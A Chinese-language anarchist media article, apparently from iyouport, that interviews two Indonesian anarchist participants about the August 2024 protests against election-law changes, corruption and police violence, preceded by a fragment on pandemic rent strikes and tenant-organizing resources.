在英国，布里斯托尔的学生与社会其他部门一起动员起来。在意大利，抵抗租金的组织工作也正在进行中，他们有自己的网站和 Telegram 频道。在加泰罗尼亚，一个由无政府主义者领导的罢租倡议到4月3日已经吸引了1万个无产者家庭的承诺。在德国、巴西、印度尼西亚和世界其他地方也同样有激荡。

早在这次大流行之前，士绅化已经使许多城市除了非常富有的人之外几乎不适合普通人居住，摧毁了无数的社区和小区。如果无产者不能迅速而有力地动员起来，这场大流行病将成为消耗品阶级出现的一个明确步骤 —— 大量的人被迫在高风险的环境中工作，没有任何保护。这一灾难的现实已经降临到全食超市的员工、垃圾回收员和无数其他人身上。

没有必要试图去说服人们罢工、反对支付房租、贷款或抵押贷款。无论他们是否愿意支付，数以百万计的人已经无力支付了。当务之急是准备好联盟网络，能够保护每一个无法支付的人。用相互支持和团结的战术去回击每一个想要惩罚那些无力支付租金的人们的房东。重新审视SHAC运动中采取过的战术和英国人头税不支付运动的胜利经验，非常重要。

当然，越多的人拒绝支付租金，对经济和统治者的压力就越大，迫使统治阶级为那些需要援助的人们提供经费。从长远来看，与其向压迫者提出要求（他们至少和我们一样没有能力解决他们所带来的灾难），反抗者的组织工作应该使我们有能力直接做出我们希望看到的改变。随着极权主义警察国家在这一流行病之后变得越来越具有侵略性和破坏性，我们继续在联盟网络中建立联系并获得经验将是特别重要的，比如从适当的驱逐抵抗组织中出现的联盟网络。

以下是反驱逐运动的一些相关资源：

- **Toolkit** for general action
- **The Tenants Will Win—Pandemic Organizing Guide**, Bay Area, California
- **COVID-19 Tenant Organizing Toolkit**, Chicago, Illinois
- **NYC Rent Strike resources**
- **How and Why to Go on a Rent Strike**
- **Know Your Rights**—Reference material for New York City

原文

有比“胜利”更重要的事：印尼抗议浪潮中的无政府主义者 - iyouport

反抗者-寻求经验

“抵抗万岁，团结万岁！”

我们一直在记录来自世界各地抵抗前沿的思想和经验。这些前线声音都很珍贵。无政府主义媒介与职业媒体的区别就在于，我们不会让养尊处优的专家和远在天边的观察家来评议甚至指挥前线行动，也不会试图将抗议者的形象硬塞进某种更赚流量的主流认知框架内。但这不代表我们认为前线受访同志的所有观点都值得无条件赞同。思考空间始终存在，以便我们大家都能在思考中获得进步。

比如这篇文章中提到的，无政府主义团队原本做了很多基层工作，尤其是与边缘社区的联合很出色，应该是已经建立了一些民心基础，但依然出现了学生团体和无政府主义团体之间的矛盾，而且是在最危险的情况下发生的。但仅仅指责学生“不团结、不理解反抗者多样性的原理”是不够的。“不团结”是结论而不是原因，导致在“催泪瓦斯横飞”的状况下学生团体拒绝帮助无政府主义者避难的原因应该更为复杂。至少说明在此之前双方有过误会且没能/或没来得及化解，以及，无政府主义组织在基层建设方面的工作还需要更多优化。

在每一条反抗战线上，无政府主义都不具备特殊性，虽然鉴于激进程度我们肯定是被镇压的重点目标，但请永远不要从特殊性中寻求归属感，那是一个危险的陷阱。将我们特殊化、与社会其他部分疏离，是镇压阶级最显著的收益。我们不能为对手制造方便。

受访者似乎有些拘谨，有一种下意识想让自己看起来“符合常规媒体形象”的倾向，为了类似的形象框架而掩饰锋芒。这令人心疼。如果这是某种策略，希望它在本地斗争环境中有充分合理的现实功效。

此外，我们认为“无政府主义”不是一种意识形态，它应该是一种理论；这里不应该有正确答案或者某种强制的规范，作为解放工具的理论不会通过说教来实现。列表-6 独立媒体列表

这也正是为什么您不必完全同意IYP的所有观点，但我们和您依然是同志，关键时候是战友。因为我们有着同一个向往，且并不会因此而试图控制彼此的每一个观点。我们并肩作战，共同学习，引领促进，但不会指挥说教。这是一种自由的结合。这样的关系结构帮助无政府主义革命力量实现了最大范围的横向联合。

与来自世界各地的同志一样，印尼的同志在介绍他们的工作时也为全球的无政府主义社区提供了灵感。一如既往，希望这些灵感能惠及我们的华语区战友。我们在文中添加的超链接也是旨在加强这一利好。

2024年8月，印度尼西亚爆发了一场抗议浪潮，表面上看是对旨在任命佐科·维多多（Joko Widodo，俗称佐科威）总统继任者的政治阴谋的回应。在英语世界中，有关这些抗议活动的信息很少。为了了解更深层次的问题，本文联系了印尼不同地区的无政府主义参与者。

接受采访的是万隆的独立研究员兼摄影师弗兰斯·阿里·普拉塞托（Frans Ari Prasetyo）和日惹一个无政府主义团体的参与者 M。照片也由普拉塞托拍摄。“永远不要相信政府”~ 2024年8月22日在万隆举行的抗议活动。

根据我们在美国得到的消息，正在进行的抗议活动据说是对选举法修改的回应，更广泛地说，是对腐败的政治王朝的回应。此外还有更多的故事吗？

普拉塞托：最近的这场抗议活动凸显了民众对佐科威两届总统任期的不满达到了顶峰，尤其是在印尼年轻人当中。虽然这次抗议不会导致佐科威下台，因为他会在2024年10月退休，但它确实表明，自1998年改革结束专制时代以来，印尼的社会运动，尤其是万隆的社会运动，变得更加活跃和多样化了。这些抗议活动是针对佐科威试图修改1998年改革所确立的地区行政选举法而出现的。

宪法法院就地区行政职务的年龄限制做出了两项裁决。首先，宪法法院裁定候选人在登记时必须至少年满30岁。这一裁决可能会阻止佐科威总统年仅29岁的小儿子竞选地区行政职位。第二项裁决则废除了提名地区领导人候选人的政党必须达到25%选票的规定。法院将门槛降至各地区6.5-10%的有效选票。这一变化允许中小政党提名自己的候选人，为选民提供了更多选项。此前由于25%的基准，只有较大的政党才能提名候选人。不过这一裁决也为这位深受反对党欢迎、具有较高可选性的前雅加达省长以及其他反对党支持的候选人打开了大门。

佐科威的行为可能会被视为破坏民主原则。这可能是出于维持权力和

保护自己的欲望，同时即使在2024年10月总统任期结束后也要保持强大的政治影响力。无论是在印尼还是在全球范围内，要推进民主的包容性、问责制和生活质量，仍有许多工作要做。然而进展似乎正在放缓，而不是向前推进。许多印尼人担心代议制政府可能会崩溃。此外，还有其他法律正在审议中，特别是《军事法》和《警察法》，这些法律可能会产生重大影响。2024 年 8 月 22 日在万隆举行的抗议活动。

M：印尼的抗议活动是由选举法修改、普遍腐败、经济不满、对政治领导层和警察暴行的愤怒等多种因素共同推动的。虽然选举法的修改和腐败政治王朝的影响是当前反叛行动的核心，但它们是更广泛背景的一部分。

推动抗议活动的核心问题

「图」

1、选举法修改： 最近对印尼选举法的修订极大地助长了抗议活动。许多印尼人认为这些修改破坏了民主原则，增加了根深蒂固的政治精英的影响力。一些人认为这些修正案为操纵选举结果提供了便利，从而引发了对民主进程公平性和透明度的担忧。

2、政治腐败： 腐败仍然是印尼政治中长期存在的问题。包括强大的政治王朝成员在内的政治精英普遍存在腐败现象，加剧了民众的不满情绪。许多抗议者要求对罪犯进行公平审判和惩罚，并要求相关机构（如根除腐败委员会/KPK）加强问责制和提高透明度。

其他因素 ——

1、历史积怨： 印尼有着政治动荡的历史，近期的抗议活动受到了历史积怨的影响，包括以前的反独裁统治和反腐运动。苏哈托（Suharto）时代和1998年改革运动（烈火莫熄/Reformasi）遗留下来的问题至今仍影响着人们的情绪和行动。

2、经济不满： 经济问题也发挥着重要作用。日益残酷的不平等、失业和对经济政策的不满加剧了人们的怒火。许多印尼人认为经济增长带来的利益分配不均，导致社会和经济的紧张局势愈演愈烈。

3、社交媒体和激进主义： 社交媒体在组织和扩大异议方面的作用不容忽视。社交媒体平台使活动人士能够迅速动员和传播信息，从而扩大了抗议活动的规模和强度。这也让民众更重视抗议者的表现、监督

性增强。社交媒体标签运动也得到了扩展，“no viral, no justice” 就是针对持续存在的问题而出现的。

4、现任领导层： 佐科威总统因在处理腐败和政治改革方面的失败以及发布不受欢迎的法律草案而饱受批评。在执政的十年间，佐科威政府被指责在解决导致民众失望的系统性问题上做得不够。佐科威在担任总统期间的工作重点一直是推动对社会和环境有害的发展形式。这在基层引发了严重的批评和冲突，因为基层社区直接受到其政策的影响。

5、警察暴力： 人们对警察暴力对待抗议者、任意逮捕、虐待被拘留者、滥用权力、腐败、增加国家军备预算、在示威中使用催泪瓦斯、职业不当行为、以及警察参与 “保护” 非法网上赌博、人口贩运、毒品贩运、以及与当地社区冲突的采矿和棕榈油种植区的以“安全”为借口的偏袒等行为感到愤怒。批评人士认为，这反映了警察部队内部存在的系统性问题，如缺乏问责制、监督不力以及独裁倾向。人权组织、活动家和其他人士经常呼吁进行改革，以改善警务工作，确保更大的透明度，并保护公民自由。无政府主义者呼吁结束这种体制并与之斗争。2024年8月22日万隆的抗议活动。

请简要概述印尼以前发生过的强大的社会运动，那些为当前的活动浪潮开创先河的运动，并按时间顺序介绍导致当前局势的重大事件。

普拉塞托：在这次抗议活动之前，印尼还发生了另一场示威游行，抗议任命一名备受争议的警察局长为KPK主席（Komisi Pemberantasan Korupsi，“消除腐败委员会”）。许多人担心这一任命会削弱 KPK 的中立性，阻碍其有效打击腐败的能力。2019年，人民举行了自1998年改革以来规模最大的抗议活动，被称为 #reformasidikorupsi。这些示威活动以及国家对示威活动的反应都推动了公众对佐科威政府的信任度的急剧下降。

1. reformasidikorupsi 抗议活动持续了近两周，在多个城市举行。不幸的是，警察打死了几名抗议者。许多人希望这场反抗能导致第二次改革，就像推翻“新秩序”（苏哈托）政权的第一次改革那样。然而，佐科威通过与反对党接触并让他们在执政集团中发挥作用（收编），成功地平息了局势。值得注意的是，佐科威还成功地促进了军方和警方之间的合作（权力支柱的团结），双方在镇压抗议活动过程中开展了广泛的合作。

2019年5月1日，自治团体走上街头。其中大多数加入了无政府主义者的黑群。虽然这不是第一次黑群抗议活动，但却是迄今为止规模最

大的一次，令许多人感到惊讶。考虑到当前示威活动的背景，或许我们本不应该如此惊讶。

2022年，在有争议的《刑法典》（KUDP）通过后爆发了大规模抗议活动，许多人将其与殖民时代的法律相提并论。在《刑法典》获得批准和随后的抗议活动之前，2020年10月，印尼众议院（DPR）和印尼政府通过了新自由主义的“综合法”。该法旨在促进大流行病期间的就业，并加快修改被认为阻碍经济增长、发展和投资的法律。

由于宪法限制，佐科威无法寻求第三个任期，因此他任命自己的妹夫为宪法法院首席大法官。他还考虑放宽副总统候选人的年龄要求，以便能让佐科威的长子与国防部长普拉博沃一起参加2024年的总统选举。普拉博沃曾是苏哈托“新秩序”时期的将军，有侵犯人权的前科，包括在1998年改革期间绑架活动家、在巴布亚开展军事行动。他在阿卜杜拉赫曼·瓦希德（Gusdur）总统执政期间返回印尼，并参与政治活动，最终成立了大印尼运动党（Gerindra Party），并被任命为该党主席。

普拉博沃和佐科威的儿子吉卜兰赢得了2024年大选，标志着向苏哈托时代的倒车。2024年8月22日在万隆举行的抗议活动。

M：我来提供一份简短的大事年表。

大事年表

「图」

2017: 在雅加达省长选举中，出现了针对现任省长阿霍克的重大起义和大规模抗议活动，其主要起因是带有强烈种族主义倾向的宗教亵渎指控（他是华裔）。阿霍克的失败标志着政治和社会两极分化的加剧。

2018-2019：印尼经历了多起涉及高级官员和部委的备受瞩目的腐败丑闻；这些丑闻加剧了民众对政治精英的不满。

2019年：佐科·维多多总统的再次当选催化了反对派团体的抗议活动，他们指控选举舞弊并批评佐科威的政策。在此期间，民众对佐科威的政治王朝和裙带关系的影响也进行了更多的审查。

2020-2021: COVID-19 大流行加剧了包括经济不稳定在内的现有问题。民众对疫情处理方式和救灾工作中的腐败现象日益不满。

2022：针对新的《创造就业机会法》（“综合法”）爆发了示威活动，人们认为该法偏袒资本主义利益而忽视了工人的权利。这些抗议活动凸显了人们对劳工权利和经济不平等的持续关注。2022年还发生了一起涉及国家警察高级成员费迪·桑博（Ferdy Sambo）的特殊案件。(卡迪夫·普罗帕姆/ Kadiv Propam 是职业与安全处处长的缩写，他有权履行普罗帕姆处的职责，即在国家警察组织的内部环境中发展职业标准和安全）。他与约书亚·胡塔巴拉特准将（Brigadier Joshua Hutabarat）的预谋杀人案有牵连。虽然桑博最初被判处死刑，但最终判决为终身监禁。这一事件引起了国内外的极大关注。这标志着印尼首次有国家警察将军被判处终身监禁。

2023-2024: 对选举法的不满、腐败指控、高失业率以及对根深蒂固的政治王朝日益增长的不满情绪共同引发了近期的抗议浪潮。持续不断的抗议活动反映了印尼近代史上政治变革斗争的延续。2024年8月22日在万隆举行的抗议活动。

每一场运动都有不同的派别和潮流，有着不同的世界观和目标。您能描述一下冲突双方的不同团体吗？

普拉塞托： 印尼的政治文化相对薄弱，劳工运动日渐式微，左翼力量支离破碎，在这种情况下，个人认同无政府主义或与无政府主义原则保持一致的情况并不少见。这种对无政府主义灵活而包容的解释似乎是无政府主义思想最普遍的形式。社会运动无政府主义的趋势对印尼的许多年轻人特别有吸引力，尤其是在万隆，那里的无政府主义可追溯到2014年，历史悠久。在万隆，自治运动发行了一张名为“Mobilisasi Kemuakan”（“厌恶的动员”）的合辑，收录了十二支不同音乐亚流派的乐队，包括朋克、金属和嘻哈。该专辑的歌词反对选举政治，并附有专门的小册子，批判代议制，并将其与街头民众动员和“直接民主”进行了对比。

与此相反，印尼一个著名的马克思主义知识分子团体在2014年总统选举前通过华丽的报纸宣传活动动员左派活动家、青年团体和新选民支持佐科威。他们强调佐科威反对“新秩序”军事将领普拉博沃，而普拉博沃曾有侵犯人权的历史，以此作为支持佐科威的理由。具有讽刺意味的是，佐科威成为了普拉博沃在**2024**年担任总统的主要支持者，而普拉博沃的副手正是佐科威的长子。

当前的抗议运动似乎已分裂成三大群体：大学生；劳工和群众组织，包括民族主义和宗教团体；以及关注特定身份问题的非正式团体，如妇女团体、艺术家、记者、非二元和宗教少数派。其中一些团体被社会、警察和国家称为 “黑帮”或 “无政府主义”团体。

这些“无政府主义”团体通过各种方式表达自己，包括呼喊、歌唱、涂鸦、手持旗帜、海报和标语，同时在街头点燃照明弹。他们的目的是提高人们的意识。遗憾的是，当前的民主制度并没有提供有效的手段来发动以街头为基础的反对国家或军警的斗争。这种无政府主义活动让公众、民主进程甚至警方都有些不安。令人遗憾的是，由于警方决心赢得所有公开斗争，特别是针对无政府主义者的斗争，导致公众对作为公民社会一部分的无政府主义者的理解和支持减少。

学生团体往往在发起抗议活动方面发挥着至关重要的作用，在主流媒体的报道中，他们仍然是变革的推动者。他们被广泛视为政府政策的知识分子和批评者。作为受过教育的公民，他们具有影响政府决策的潜力。

学生参与印尼各地的罢工，推动了一场新的社会运动，提高了政治意识。学生已经成为抗议活动中的一股强大力量，许多学生认同无政府主义运动，该运动传递了年轻人颠覆性的能量和激情。2024年8月22日在万隆举行的抗议活动。

M：当前的抵抗运动一般分为两类（体制内和体制外），政府和政党内部的精英是一类，政府之外的群体是另一类。那些把自己定位为“反对派”的政府内部人士有他们自己的政治和政党议程；他们还寻求确保自己的利益，而我们根本不在乎这些。另一方面，最近的议会外运动包括各种不同的团体，其中有1998年抗议活动的老兵、人权组织和活动家、妇女团体、环保人士、记者、土著社区、农民、渔民、非正式工人、学者、宗教学生组织、巴布亚学生、大学教授、网约车司机、政治和民众人物、艺术家、喜剧演员、母亲、高中生、朋克，当然还有经常被当作动乱煽动者和“挑衅者”的替罪羊的无政府主义者。

这些议会外团体对佐科威王朝日益鲁莽的行为已经到了忍无可忍的地步，尤其是在其总统任期即将结束之际。民间社会还对下届政府的当选总统和当选副总统表示担忧，因为他们的政绩都非常糟糕；他们将于2024年10月就职。当选总统普拉博沃·苏比安托是前总统苏哈托的女婿；他曾是苏哈托政权的高级将领，现任国防部长。他参与了1998年针对学生活动分子的绑架和失踪事件，以及苏哈托时代的一系列军事行动。他还是一名非常富有的商人。吉布兰·拉卡布明·拉卡（Gibran Rakabuming Raka）是副总统当选人，也是佐科威的长子，他因任人唯亲和违反总统年龄限制政策而饱受批评。2024年8月22日在万隆举行的抗议活动。

我们看到，在起义期间，被征用的警察盾牌和警车上都涂有*“ACAB”*字样*(*反警察运动标志 *'all cops are bastards')*。反权威主义者

和无政府主义者在这些抗议活动中扮演了什么角色？当今印尼运动中广泛的反独裁情绪有多普遍？

普拉塞托：自20世纪90年代全球正义运动兴起以来，无政府主义思想再次兴起，并继续吸引更多追随者。尽管遭到警方镇压和主流媒体的不断批评，但无政府主义运动仍获得了发展。万隆在20世纪90年代曾是印尼无政府主义活动的中心，现在仍然是一个充满活力的无政府主义团体的所在地。通过各种努力，包括罢工、足球流氓活动、抗议拆迁、互助活动以及分发书籍和小册子，无政府主义运动在2000年代中期得到了显著发展。包括系统性经济不平等、仕绅化、住房和土地使用权问题、劳动重组和政府镇压在内的各种因素激起了广泛的愤怒和与警察的对抗。

无政府主义者一直致力于创造与其信仰相一致的空间，探索其他的抵抗形式，并界定自由、地方抗议和跨国社会运动的界限。

自“新秩序”以来，专制主义和军国主义在印尼的经历中根深蒂固，而在佐科威执政期间，这种军事化程度有所加深。无政府主义者对佐科威政府的抵制十分强烈。行政部门巩固了对警察和军队预算的权力，以控制抗议运动。虽然警察没有公开为佐科威助选，但他们的支持为佐科威在各地区的选举成功做出了贡献，这让人想起“新秩序”时期警察的作用。

2019年五一黑色暴动导致万隆逮捕了700多人，此后，警方显然越来越有决心赢得所有公共对抗，尤其是涉及无政府主义者的对抗。因此，无政府主义者有可能被孤立于某些社区之外。在万隆的某些居民区，居民们打出了“反无政府主义”、“禁止无政府主义”或“此地没有无政府状态”的横幅。当时，没有人愿意与颠覆性抵抗运动扯上关系。

2020年的抗议活动期间，这些横幅开始消失。然而，警察继续在抗议活动中大肆扫荡，仅仅因为穿着黑色衣服就逮捕平民并对其实施暴力。这种在抗议活动中针对任何黑衣人的做法旨在孤立无政府主义运动，却产生了相反的效果，促使许多愤怒的年轻人走向无政府主义。

2022年，在一个足球场发生致命事件后，爆发了激烈的示威游行和与警察的冲突。因此，“ACAB”和其他新颖的反警察标语和涂鸦变得越来越流行。2024年8月28日在万隆举行的抗议活动。

M：印尼的无政府主义运动正在发展壮大。我们不仅通过讨论、出版、翻译、社交媒体、艺术和音乐介绍反权威思想，还积极参与基层

运动，特别是反对驱逐和破坏环境的运动，以及反对警察和国家的运动。我们倡导采用直接行动的分散运动，在群岛周围建立互助网络，占领与国家和企业冲突的土地，解决整个社区面临的日常问题，包括我们自己的问题。我们通过基于无政府主义原则的组织活动来实现这些目标，并在社会中培养批判意识。

我们努力提高人们的意识，揭露国家和企业是如何操纵和剥削社会的。我们提供有关他们劣行的信息。随着人们获得更多信息，他们也会对问题更加敏锐，对国家的机制或战略以及警察失去信心。

我们并非孤军奋战。我们已经开始与学生团体、朋克、艺术家、音乐家、学者、酷儿社区、失业者、律师、零工工人等群体建立联系。有机无政府主义运动一直在发挥着自己的作用，同时扩大了各地区反专制运动的发展。

然而，这并非没有挑战。学生团体和我们无政府主义者之间发生了一些摩擦。印尼学生在示威活动中经常穿着校服，用绳索设置障碍，声称这是为了避免警察或挑衅者的渗透。他们还往往表现得好像自己是抗议活动的领导者，这是一种先锋主义。具有讽刺意味的是，他们的口号，如“人民，团结起来，不会被打败”和“提防挑衅，不要让我们被分裂”，却与当地的现实相矛盾，他们把自己分离出去了，声称自己代表人民。当紧张局势加剧时，通常是无政府主义者挺身而出，激发其他示威者的热情并导致冲突。

例如，在万隆，当局势变得混乱，催泪瓦斯和石块横飞时，示威者争先恐后地跑到一所校园避难，但那里的学生却阻拦我们，高喊："别让他们进来！他们不是我们的一部分！”更令人痛心的事件发生在苏卡布米，一些被认定为“黑群”的示威者遭到许多学生的殴打。

学生们往往不明白，示威者的多样性是他们无法回避的现实，这表明运动包含了不同的社会阶层。让不同群体更多地参与到同仇敌忾的斗争中来，在战术上是非常重要的。学生们还忘记了，匿名对示威者的安全至关重要，因为警察经常将“黑群”团体作为目标。2024 年 8 月 28 日在万隆举行的抗议活动。

印尼各地的运动有何不同？

M：印尼是一个幅员辽阔的群岛国家，各地区受当地习俗和问题的影响，具有独特的抵抗文化。爪哇作为金融、商业、信息、技术和权力中心，在社会、经济和教育方面存在着显著的差异。每个地区的抵抗活动往往都突出了当地的问题。

例如，加里曼丹面临着大规模采矿和棕榈油扩张带来的严重生态威胁，以及土著社区的流离失所。备受争议的国家首都（IKN）项目旨在将首都从雅加达迁至东加里曼丹的佩纳贾姆帕瑟（Penajam Paser Utara），该项目将破坏 256,142 公顷的天然林和 68,189 公顷的海域。据国家发展规划局（Bappenas）称，IKN 项目预算为 466.9 万亿印尼盾，由国家和外国投资者共同出资。印尼国际海洋开发公司项目还涉及在项目中投入大量资金的高级官员，其中包括国防部长普拉博沃·苏比安托（Prabowo Subianto）和印尼海洋与投资统筹部长卢胡特·潘查伊坦 —— 他曾是苏哈托时代的高级将领。

警察镇压的程度因地区而异，东部地区的行动通常面临执法部门更严厉的回应。2024 年 8 月 28 日在万隆举行的抗议活动。

哪些社会阶层的人走上了街头？那些以前曾被警察当作目标的人 —— 比如有组织的劳工、小混混、狂热球迷或西巴布亚独立抗议者 —— 是否参加了这些抗议活动？

M：狂热球迷因“坎朱鲁汉惨案”（踩踏事件）而怀恨 —— 该惨案于2022年10月1日发生在印尼玛琅县的坎朱鲁汉体育场（Kanjuruhan Stadium）。在阿雷马足球俱乐部（Arema FC）和泗水帕尔斯巴亚足球俱乐部（Persebaya Surabaya）之间的一场比赛后爆发了骚乱。警方使用催泪瓦斯驱散人群，导致数千名支持者冲向出口，场面一片混乱。由此造成的挤压和窒息导致超过135人死亡，更多的人受伤。这也凸显了与人群控制和体育场安全有关的问题。

受害者的父母与足球协会一起谴责了这场悲剧，要求为受影响者伸张正义。经过审判，三名低级警官和两名比赛组织者被定罪，每人的最高刑期仅为两年半。法官在判决书中指出，由于风向吹向看台，催泪瓦斯影响了数百人。坎朱鲁汉事件被认为是继1964年在秘鲁利马国家体育场造成300多人丧生的悲剧之后，历史上第二严重的足球灾难。时至今日，死者家属仍在要求追究责任、伸张正义和提高透明度。

与此同时，巴布亚人民继续为独立而战，尽管他们被国家负面地定性为武装犯罪集团。佐科威担任总统期间，在国防部长普拉博沃的暗中支持下，这种说法愈演愈烈，被用来恶意中伤巴布亚独立运动。不幸的是，企业媒体经常使用这一标签。

你提到的所有团体都是佐科威政府政策的直接受害者。他们自然会利用这一时机团结起来，与其他受影响的群体一起表达他们的愤怒。2024年8月28日在万隆举行的抗议活动。

普拉塞托：自1998年改革以来，印尼经历了重大变化，包括民间机构迅速发展、中产阶级不断扩大、充满活力的文化和大都市生活方式兴起。然而，这些变化也引发了人们对媒体影响公众舆论、民粹主义运动的兴起、以及打着发展的幌子试图恢复独裁统治等问题的担忧。在政治色彩浓厚的改革时期，无政府主义者抗议独裁统治。由于印尼无政府主义者历来与工人阶级和阶级斗争保持一致，这种反应并不令人意外。然而，**1998**年改革后政治左派的衰落也导致了无政府主义的衰落。

尽管如此，无政府主义者仍然积极参与持续不断的抗议活动。无政府主义和黑群已成为万隆青年抗议活动参与者的重要文化身份。参与音乐亚文化、足球流氓、西巴布亚反殖民抵抗运动和其他运动的年轻人经常与无政府主义，特别是通过黑群进行接触。劳工组织也参与其中，尤其是反对直接影响其利益的《综合法》。鉴于执政党通过其主要联盟对工会施加影响，在包括有组织劳工在内的民间社会团体中维持着广泛的裙带关系，这种参与是值得注意的。2024年8月28日在万隆举行的抗议活动。

这场运动在多大程度上与世界其他地区最近发生的起义（如斯里兰卡、缅甸、孟加拉国或其他地方的起义）进行了对话，或受到了它们的影响？

M：我没有能力回答这个问题。不过，香港的运动给了我们很大启发，我们也借鉴了他们的一些策略。

普拉塞托： 斯里兰卡、缅甸、孟加拉国、柬埔寨等国家以及非洲和拉丁美洲的许多国家都面临着重大的治理挑战。这些挑战通常包括人均国内生产总值低、武装冲突严重以及政治稳定性低。数十年来，这些国家一直深陷内部冲突和治理不善的恶性循环之中，看来它们很可能会继续经历社会各阶层的动荡。其中一些国家当前的反叛就是由此引发动荡的例证。

当一个社会发展了强大的国家机器，却没有一个强大而富有成效的国内经济时，大部分人口可能更容易接受专制的说法，即“国家能力是发展的关键”。在过去十年中，印尼在民主与专制之间徘徊，经历了复杂的局面。

印尼可能是“民主充足论”的失败代表。“民主充足论”认为，从中长期来看，民主对于提高生活质量至关重要。1998年改革后的印尼似乎就是这种情况，它摆脱了32年的专制和军国主义统治，并庆祝了向民主的过渡。然而，印尼在提供与其民主标准和国家能力相匹配的生活质

量方面仍面临挑战。虽然与斯里兰卡、缅甸、孟加拉国以及非洲和拉丁美洲的其他国家相比，印尼较为幸运，但人们担心佐科威政府在过去十年里可能在无意中重新走向了军国主义威权主义。

西式民主并非不可避免，因为历史缺乏预定的目标或目的。相反，历史是由人的能动性、意识形态斗争和政治冲突塑造的，未来永远是未书写的。2024年8月28日在万隆举行的抗议活动。

您能否指导我们了解一些印尼无政府主义活动的历史，以及，如果人们想要支持无政府主义者在印尼组织活动有哪些具体方法？

M ：现在，我们显然需要国际社会的支持，以强调佐科威领导下的寡头政治和裙带关系，以及警察的暴行。我们敦促国际社会谴责印尼警察和军队的残暴行为。

此外，在反思了几起在示威游行或土地占领期间与警察或右翼民族主义和保守宗教群众组织发生冲突的事件后，我们认为有必要在示威游行期间的战术方面做出更多努力。我们计划为自己配备更好的防护装备，并举办“培训”，以加深我们对安全以及攻防的实地战术的了解。我们还需要支持，以维持街头救护人员的工作。2024 年 8 月 28 日在万隆举行的抗议活动。

普拉塞托：印度尼西亚全国各地都有无政府主义团体。其中一些团体明确表示自己是无政府主义者，而另一些则没有。无论他们的标签如何，他们的行动都与无政府主义原则高度一致。只要我们有相似的意识形态纽带以及不同的战略和实践方法，即使不是每个人都认同意识形态层面上的无政府主义，合作也是合理的。

无政府主义为理解青年行动主义的复杂性提供了一个框架。它提供了一个视角来审视系统性的经济不平等、资源分配、获取公共产品、劳动制度、国家镇压和警察-军事行动等相互关联的挑战。对警察和军队的持续愤怒导致了无数次对抗和暴动。

尽管面临挑战，无政府主义运动仍在重塑反资本主义斗争方面发挥了重要作用，这一时期的特点是新自由主义咄咄逼人，专制主义卷土重来，导致了反资本主义斗争的分裂和衰落。

合作有助于建设一个更强大的运动和社会。**COVID-19** 危机在万隆建立了一种新的活动模式。公民社会通过形成网络，以根瘤式的方式运作，使其得以生存和复原，从而适应了危机。我观察到并直接体验到了这种模式的影响。自 **COVID-19**大流行的第一阶段以来，这种方式

已被证明是有效、灵活和充满活力的，尤其是在青年运动中。

在万隆，我们使用“交叉交流”（**lintas tongkrongan**）一词来描述无等级的合作。与其他地方一样，许多年轻人会花大量时间在一起，或者说是“闲逛”（**nongkrong**）。这可以成为民间活动（包括无政府主义活动）的宝贵能量和激情来源。2024 年 8 月 28 日在万隆举行的抗议活动。

胜利意味着什么？

M：我们不追求“胜利”。我们真正想要的是让更多的人认识到国家、资本主义及其工具的罪恶。我们希望继续自主地组织起来，以直接行动对抗不公正，像野草一样生根发芽，即使是混凝土也无法阻挡。

普拉塞托：如果我们将胜利视为斗争的最终目标，那么我们可能会从错误的角度来看待这个问题。我们参与的冲突可能没有明确的解决方案。如果我们取得了胜利，接下来会发生什么就值得考虑了。有可能会出现“虚假的胜利”，即我们最终会成为一种新的势力，反映出我们所反对或击败的东西。

如果我们把这场胜利视为慈善活动，它可能带来立场的改变，但那不会是真正的转变。并不是每个失败者都会消失；有些人可能会调整方法，使其看起来更“进步”，从而有可能将慈善变成阶级结构的另一种表现形式，无意中使现状永久化了。

在印尼，1998年改革运动（Reformasi）的胜利结束了新秩序长达32年的军事独裁统治，建立了民主政府。但即使有强大的民主问责制，国家又能做多少来确保人民生活质量的持续改善呢？或者胜利仅仅是为了挫败选举法？

我们面对的是政府、寡头、掠夺性的商业和党派精英，他们侵占了属于人民的一切。因此，我们必须竭尽全力抗争。改革后的当前社会秩序是在战胜苏哈托“新秩序”的基础上建立起来的。向文官统治的过渡是由独裁统治下的个人管理的，其政策特点也是独裁统治的一部分。

在过去十年中，在佐科威总统（2014-2024年）的领导下，印尼重新回到了被称为*新新秩序（Neo-Orba）的专制军国主义国家。佐科威最初被描绘成一位捍卫普通民众的民粹主义总统；许多推翻苏哈托新秩序的前改良派活动家现在都支持佐科威的新新秩序政体。随着佐科威的任期于**2024**年结束，这些活动家中的许多人将转而支持一位曾经绑架过他们并在总统选举中两次被佐科威击败的“新秩序”时期军事将

领。这位将军将成为下一任印尼总统，佐科威的儿子将担任他的副手。这种权力和财富的延续是对追求更大平等的嘲弄，使不平等和排斥的循环永久化。

为什么在取得巨大胜利之后又会出现更大规模的示威游行，而这些胜利只是为了证明新的、更极端的不平等形式是“合理的”？这反映了1998年示威游行带来的创伤，其结果至今仍在显现。

抗议固然重要，胜利固然锦上添花，但在国家、资本主义和新自由主义的联合霸权下，在日常生活中树立政治意识才是真正至关重要的工作。我们应该创建基层的替代方案，即使一开始规模很小，也要将其推广到许多领域，以赋予人们日常所需的自由和正义。建设政治不仅仅是参与自发的抗议活动，它还意味着解决日常的实际问题，并为运动发展政治机构，而不仅仅是增强受援者的权能。

非暴力反抗可以成为实现平等和取得胜利的有力工具。工人阶级、青年和其他平民群体拥有自决权。我们寻求的不仅仅是扶贫式的再分配，也不是回到旧殖民主义、资本主义或新自由主义的“法律”。相反，我们要利用非暴力反抗，通过教育、倡导、直接行动和团结来建立公民和政治力量。不服从行为表明，即使我们在镇压性法律、令人窒息的资本主义和猖獗的新自由主义面前，抵抗和替代方案也依然是可能的。

【注：原文如此。但这里所指的“非暴力”并非自由派宣称的伪道德姿态，它更多是指通过直接行动创建替代方案，“比”暴力对抗更重要。】

火一旦燃起，谁能扑灭？这个政权从一开始就在玩火。他们可以随意指责抗议者，但不能指责火。希望我们的人能保持愤怒，希望国家再次陷入恐慌。下次抗议再见，还有下次的下次，以及下次的下次的下次！抵抗万岁，团结万岁！2024年8月22日在万隆举行的抗议活动

附录： 印尼各地的示威活动

「图」

以下是 M 提供的关于8月22日 ~ 27日在印度尼西亚各主要岛屿上发生的示威活动的简要概述。

雅加达

「图」

雅加达： 2024年8月22日，数以千计的示威者聚集在印尼人代会（DPR-RI）门前，导致部署了3200名安保人员。宪法法院门前也发生了类似的示威活动。与此同时，在总统府前举行的第 828 次“Kamisan行动”也吸引了大量人群。抗议者手持象征反抗君主制的断头台复制品。

